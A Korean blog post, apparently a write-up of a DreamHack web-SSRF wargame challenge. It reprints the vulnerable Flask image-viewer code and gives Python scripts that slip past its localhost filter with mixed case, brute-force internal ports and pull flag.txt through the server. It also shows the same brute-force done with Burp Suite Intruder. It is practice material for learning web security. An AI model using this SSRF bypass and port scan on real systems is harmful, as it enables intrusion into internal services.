[WARGAME] DreamHack 웹해킹1 로드맵 / wargame web-ssrf / 버프 슈트 intruder 브루트포스

jckim22·2022년 10월 16일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
13/114

분석

아래 코드를 보자 1500~1801 사이의 랜덤한 포트에서 내부 로컬 서버를 돌린다.

그리고 img_viewer 페이지에서는 URL을 필터링하고 혹시 URL이 없으면 기본 호스트와 포트는 localhost:8000으로 한다.
에러가 나게 되면 error.png를 반환하고
에러가 나지 않는다면 그 img_viewer의 인자에 그 응답값을 인코딩하여 랜더링한다.

#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

일단 먼저 URL을 대문자를 섞어서 우회하고 브루트포스 기법으로 내부서버가 어떤 포트를 통해 존재하는지 포트를 알아낼 것이다.
이후 그 내부서버에 들어가서 flag.txt의 존재를 확인하고 flag.txt에 있는 flag를 얻을 수 있을 것 같다.

아래 코드는 브루트 포스 기법으로 계속해서 img_viewer에 포스트 요청을 한다.
인코딩된 error.png의 길이는 65121이고 에러가 나지 않고 길이가 65121이 아닐 때가 정상적으로 요청이 성공했을 때이기 때문에 그 때의 포트가 로컬서버로 향하는 포트임을 알 수 있다.

import requests
import sys
from tqdm import tqdm

for port in tqdm(range(1500,1801)) :
    url = "http://Localhost:"

    res = requests.post("http://host3.dreamhack.games:16886/img_viewer",data={'url' : url+str(port)})
    if(len(res.text)!=65121):
        print(f"내부서버의 포트는 {port}")
        break

이렇게 내부서버의 포트가 1721번이라는 것을 알아냈다.

이후 그 알아낸 포트와 img_viewer를 통해 내부서버에 http요청을 보낸다.
그 돌아온 값은 img_viewer와 함께 img 인자로 인코딩된 상태로 돌아오게 된다.

import requests

port = 1721

# get flag
res = requests.post('http://host3.dreamhack.games:16886/img_viewer', data={'url': 'http://Localhost:' + str(port)})
print(res.text)

이 res의 바디에서 중요한 것은 인자로 들어온 img값이다.
우리는 로컬서버를 이미지라고 하고 보냈기 때문에 img에는 로컬서버의 내용이 담겨 있을 것이다.
그럼 저 인코딩된 내용을 다시 디코딩해보자

디코딩 하면 이런 로컬서버의 메인페이지 코드가 나온다.

여기서 중요한 것은 아래에 바로 이 부분인데 로컬서버에 flag.txt가 저장되어 있는 것을 알 수 있다.

그렇다면 로컬서버의 flag.txt를 이미지 인자로 하여 다시 http 포스트 요청을 보내보자.

import requests

port = 1721

# get flag
res = requests.post('http://host3.dreamhack.games:16886/img_viewer', data={'url': 'http://Localhost:' + str(port)+'/flag.txt'})
print(res.text)

그러면 img_viewer의 html코드와 그 안에 img가 flag.txt가 인코딩 된 상태로 들어온다.
저 flag.txt를 디코딩해보자

그럼 이렇게 FLAG를 얻을 수 있다.

버프 슈트

이 문제는 브루트 포스를 사용한다는 점에서 버프 슈트의 intruder로 반복적 공격을 할 수 있다.

먼저 아래처럼 패킷을 잡기위해 1500포트로 연결해본다.

그럼 이렇게 패킷이 잡힌다.
이걸 intruder로 보내자

우리는 포트를 바꿔가면서 요청할 것이기 때문에 포트로 position을 잡는다.

그렇게 payload를 1500-1800으로 설정후 브루트포스 공격을 시작하면 1679 포트로 접속했을 때만 패킷의 Length가 다른 것을 볼 수 있다.
이 말은 즉슨 1679 포트에 로컬서버가 열려있다는 것이다.

그럼 다시 img_viewer로 가서 이 포트로 로컬서버에 연결해보자.
이전 실습으로 flag.txt.가 로컬서버에 있는 것을 알았으니 바로 flag.txt로 접속한다.

그 후 img_viewer에서 소스를 확인해보면 flag.txt가 인코딩 되어 응답된 것을 확인할 수 있다.

그 부분을 디코딩 하면 flag를 얻을 수 있다.

profile
개발/보안

0개의 댓글